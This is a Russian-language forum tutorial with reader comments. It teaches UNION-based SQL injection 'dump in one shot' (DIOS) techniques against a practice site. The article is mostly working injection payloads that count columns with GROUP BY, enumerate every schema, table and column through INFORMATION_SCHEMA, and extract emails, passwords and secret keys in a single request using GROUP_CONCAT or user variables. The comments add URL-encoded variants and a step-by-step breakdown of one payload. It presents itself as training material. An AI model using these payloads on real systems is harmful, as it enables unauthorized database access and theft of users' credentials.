Статья SQL-injection, UNION BASED - Быстрые техники

Приветствую тебя читатель!

Надеюсь ты уже решил базовые задачки из предыдущей статьи.
А сегодня я расскажу о более продвинутых техниках, позволяющих извлекать данные из баз гораздо быстрее. Данный подход называется DIOS(DUMP IN ONE SHOOT)

В прошлый раз определить что в таблице 4 столбца получилось только за 4 запроса. При большем количестве столбцов и подавно запросов будет больше. Но есть способ, который работает в большинстве случаев, с помощью которого можно узнать количество колонок всего лишь отправив 1 запрос. В этом нам поможет уже знакомый оператор GROUP BY.
Только использовать его на сей раз будем по-иному. Откроем наш прошлый сайт и отправим-ка мы во-о-о-т такенный запрос:

1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 -- -

1-.png


Error While Selection process: Unknown column '5' in 'group statement' Error code: 1054
Ага, получили уже знакомую ошибку, указывающую нам на то, что колонки 5 не существует. Значит колонок 4. В таком варианте оператор GROUP BY сделал запросы сразу по всем столбцам. Мы их перечислили аж 70 штук, в большинстве случаев, попадаются сайты до 30 столбцов. Большее количество маловероятно, впрочем ничто не мешает увеличить этот список до 100 например.

Подошёл черёд использовать для дальнейших манипуляций другой оператор. Встречайте GROUP_CONCAT. Мы уже использовали оператор CONCAT для вывода сразу нескольких полей в запросе вместе. В отличии от него, GROUP_CONCAT может складывать содержимое полей из разных строк. Синтаксис следующий:
SELECT GROUP_CONCAT(поле SEPARATOR разделитель) FROM имя_таблицы WHERE условие
Сепаратор указывать не обязательно, в таком случае данные будут выведены через запятую.

Первым делом выведем все базы. Это важный момент, поясню почему. Чтобы вытащить данные из текущей базы вовсе не обязательно знать её название, вместо него можно в запросе отправлять database(), что и будет соответствовать текущей базе. А нафига тогда козе баян?

original.jpg


Кузнец-то нам тоже не нужен, а вот список баз может очень даже пригодиться. Отправим запрос:
-1'+union+select+group_concat(schema_name+SEPARATOR+0x3c62723e)+,2,3,4+FROM+INFORMATION_SCHEMA.SCHEMATA -- -

1.png


В данном случае мы получили системные базы + текущую базу golden_key. Здесь сепаратор 0x3c62723e это HTML-тег <br>, который переносит строки.

Но на самом деле у сайта может быть несколько баз, и с разных страниц он может обращаться к разным базам. Кроме того у админа может быть неиспользуемая база, но в которой хранится чувствительная информация. Также могут быть базы на одном сервере сразу от нескольких ресурсов. Список можно продолжать, возможно всё. Именно поэтому выводите все базы, тогда ничего интересного не пропустите.
Данный запрос мы можем сделать немного сложнее, но универсальнее, так как не придётся выносить FROM+INFORMATION_SCHEMA.SCHEMATA за пределы столбцов, а результат будет одинаковым.
-1' union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4 -- -

Теперь посмотрим какие таблицы в текущей базе.

-1' union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -

2.png


Как видите Limit нам не понадобился, обе таблицы получили за 1 запрос. Ну вы поняли, что запрос можно отправить и так:
-1' union+select+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e),2,3,4+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key' -- -

Вывод всех колонок из всех таблиц
-1' union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -

2-1.png


Но можно сделать ещё универсальнее - вывод всех колонок, и всех таблиц, и текущей базы. Так получается очень наглядно - мы сразу видим весь расклад полей по таблицам в базе.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema ='golden_key' -- -
Или так
-1' union SELECT (SELECT+GROUP_CONCAT('<br>',table_schema,0x3a, table_name,0x3a, column_name) FROM information_schema.columns WHERE table_schema ='golden_key'),2,3,4 -- -

3.png


Прекрасно!
А в том случае, если база оказалась не одна, то мы может и в этом случае вывести всё сразу, применив отрицание != 'ненужная база' Таким образом мы уберём из MariaDB все системные базы. В случае с обычным mysql понадобится указать только information_schema.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_schema != 'performance_schema' -- -

Вывод конкретных значений из определённой таблицы
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,3,4 -- -

4.png


А теперь внимание!!! Барабанная дробь...

baraban.jpeg


Отправляем вот такой запрос:
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,(SELECT+GROUP_CONCAT(id,0x3a,nickname,0x3a,login,0x3a,statement+SEPARATOR+0x3c62723e)+FROM+login),4 -- -

01.png


One shot!!! Аплодисменты!!! Мы вывели на странице все значения из базы за один запрос.

aplo.png



Капля дёгтя - group_concat не извлекает больше 1024 символов.
По умолчанию 1024 символа для каждого объединения выводимой строки.
Если размер склеенных данных больше, то он будет урезаться. Правда это ограничение можно обойти в случае необходимости.
--------------------------------------------------------------------------------
Рассмотрим теперь другой вариант быстрого решения.
Вывод списка баз будет осуществляться так:
-1' UNION SELECT (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),2,3,4 -- -
Схема сложнее для понимания, кто программирует, тому проще разобраться.
@a объявление переменной. А раз это переменная, то писать вместо a можно всё что угодно - b например.
:= оператор присваивания, инициализирует переменные
in использует оператор для проверки вхождения

Виднее будет на примере. Вытащим имена таблиц:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -

5.png


А теперь всё вместе - база. таблица, колонки
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>',' -> ', '<font color=red>',column_name, '</font>','<br>'))))a)),2,3,4 -- -
Использование HTML-тегов позволяет раскрасить вывод при желании, и оформить вывод как душе угодно.

6.png


Тот же самый запрос с другим оформлением
-1' union select(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (table_schema='golden_key') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a),2,3,4 -- -

7.png


Ну и вывод желаемых значений
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (passwd)where (@a)in (@a:=concat(@a,'<font color=red>',id,'</font><font color=green> ---> ',secret_key,'</font><font color=blue> ---> ',email,'</font>,<br>'))))a)),2,3,4 -- -

11.png


Или так например
-1' UNION SELECT (select (@) from (select(@:=0x00),(select (@) from (golden_key.login) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',login,' ] > ',statement,' > ',0x7C))))a),2,3,4 -- -

12.png


Вариантов можно придумать много, но главное конечно не внешний вид, а возможность получать данные быстрее, в обход Limit.

Домашнее задание: На решите следующие 4 базовые задачи с помощью быстрых техник.

base.png
 

kluster

Green Team
02.01.2019
34
56
BIT
0
познавательно
было бы интересно прочитатать про blind sql injection В вашем исполнении
когда встречается, как крутится
 
  • Нравится
Реакции: Haisenberg

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
познавательно
было бы интересно прочитатать про blind sql injection В вашем исполнении
когда встречается, как крутится

Довольно часто встречается, и подходов к раскрутке много. Статью по blind sql я ещё в этой серии статей хотел написать, но на тот момент меня попросили статьи по sql больше не делать, типа достаточно уже такого материала. Так что "кина не будет".
 

kluster

Green Team
02.01.2019
34
56
BIT
0
Довольно часто встречается, и подходов к раскрутке много. Статью по blind sql я ещё в этой серии статей хотел написать, но на тот момент меня попросили статьи по sql больше не делать, типа достаточно уже такого материала. Так что "кина не будет".
тогда хотел бы вас так же попросить написать, про домашнее задание не забыть
 

Игорь87

One Level
11.12.2021
3
1
BIT
0
А для чего использовать "+"? без них все работает. А в консоле с "+" не работает

1639739114931.png
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Знак плюса можно ставить вместо пробела. В основном так делается в программах, перехватывающих запрос, например Burp Suite. Другими словами, если вы уверены, что нагрузка составлена правильно, но она не срабатывает, то нужно пробелы заменить на + или просто конвертировать в .

Например нагрузка -1' union select group_concat(schema_name SEPARATOR 0x3c62723e) ,2,3,4 FROM INFORMATION_SCHEMA.SCHEMATA -- - после конвертации станет такой:

-1%27%20union%20select%20group_concat%28schema_name%20SEPARATOR%200x3c62723e%29%20%2C2%2C3%2C4%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--%20-

Браузеры обычно это делают сами, но в сторонних программах может понадобится конвертирование.
 
  • Нравится
Реакции: Игорь87

StripedBear

Green Team
24.07.2021
33
23
BIT
11
Непонятно как работают пользовательские переменные в этом примере. На одну переменную идет два разных присваивания...

Код:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Непонятно как работают пользовательские переменные в этом примере. На одну переменную идет два разных присваивания...

Код:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -
Присваивается один раз в выборке и один раз проверяется вхождение в функции concat, где тоже присваивается значение.
Первой переменной a присвоено значение нулевого байта 0x00. Здесь может быть всё что угодно, вообще нет никакой разницы, хоть цифра, хоть символ. Нулевой байт просто ничего не выведет, поэтому в ответе не будет никакого мусора.
Это сложная техника, и в нескольких строках тут не расписать. Посмотрите в сети информацию по запросу "Предикат IN SQL" и "пользовательские переменные".
 
  • Нравится
Реакции: StripedBear

Komokze

One Level
05.03.2020
7
10
BIT
3
Капля дёгтя - group_concat не извлекает больше 1024 символов.
По умолчанию 1024 символа для каждого объединения выводимой строки.
Если размер склеенных данных больше, то он будет урезаться. Правда это ограничение можно обойти в случае необходимости.
Здравствуйте. Не подскажите, каким образом? тренируюсь на вулнвеб, пытаюсь засунуть своё set session в совершенно разные места, итог один и тот же :rolleyes:

upd:
Непонятно как работают пользовательские переменные в этом примере. На одну переменную идет два разных присваивания...

Код:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -

Для себя разобрал пошагово логику построения запроса(единственное - я занимаюсь на вулнвеб под акунетикс => количество полей и пр. оттуда). Может и вам поможет:

выбрать, не объявляя переменную:
1. -1 union select 111,(select(@a)from(_________)a),333 --+

объявили переменную:
2. -1 union select 111,(select(@a)from(select(@a:=0x00),(______))a),333 --+

пишем откуда выдернуть переменную:
3. -1 union select 111,(select(@a)from(select(@a:=0x00),((select (@a)from(information_schema.schemata)___________))a),333 --+

с помощью WHERE описываем что такое наша переменная:
4. -1 union select 111,(select(@a)from(select(@a:=0x00),((select (@a)from(information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),333 --+
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Здравствуйте. Не подскажите, каким образом? тренируюсь на вулнвеб, пытаюсь засунуть своё set session в совершенно разные места, итог один и тот же :rolleyes:

upd:


Для себя разобрал пошагово логику построения запроса(единственное - я занимаюсь на вулнвеб под акунетикс => количество полей и пр. оттуда). Может и вам поможет:

выбрать, не объявляя переменную:
1. -1 union select 111,(select(@a)from(_________)a),333 --+

объявили переменную:
2. -1 union select 111,(select(@a)from(select(@a:=0x00),(______))a),333 --+

пишем откуда выдернуть переменную:
3. -1 union select 111,(select(@a)from(select(@a:=0x00),((select (@a)from(information_schema.schemata)___________))a),333 --+

с помощью WHERE описываем что такое наша переменная:
4. -1 union select 111,(select(@a)from(select(@a:=0x00),((select (@a)from(information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),333 --+

group_concat - чтобы увеличить размер нужно выполнить команду SET group_concat_max_len =4096;
Если у вас есть привилегии, то вы расширите объем получаемых данных до 4096, можно и больше. Но чаще всего на обычных хостингах таких привелегий нет, да и через браузер конечно так не получится. Однако техника DIOS обходит ограничения по количеству выводов. По DIOS у вас неверный расклад.
 
  • Нравится
Реакции: Komokze

apache2

Green Team
26.02.2021
42
22
BIT
302
-1' UNION SELECT (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),2,3,4 -- -
нииичего не понятно.
выбираем потом объявляем переменную a, потом из выбираем и присваиваем переменной а значение 0 байт, потом выбираем объявляем переменную а, из information_schema.schemata где переменная а входит в переменную а добовляем в переменную а schema_name и чё то там дальше. Жесть
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
нииичего не понятно.
выбираем потом объявляем переменную a, потом из выбираем и присваиваем переменной а значение 0 байт, потом выбираем объявляем переменную а, из information_schema.schemata где переменная а входит в переменную а добовляем в переменную а schema_name и чё то там дальше. Жесть
Нет, ничего не выбираем. Как и предыдущий оратор, вы пытаетесь читать код так как его видите, то есть слева-направо. Язык SQL имеет приоритет операторов, и выборка SELECT идёт в самую последнюю очередь (кроме ORDER BY, которого в данном случае нет). Вот поэтому и непонятно. Посмотрите информацию по запросу "приоритет операторов SQL".
 
  • Нравится
Реакции: Komokze
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!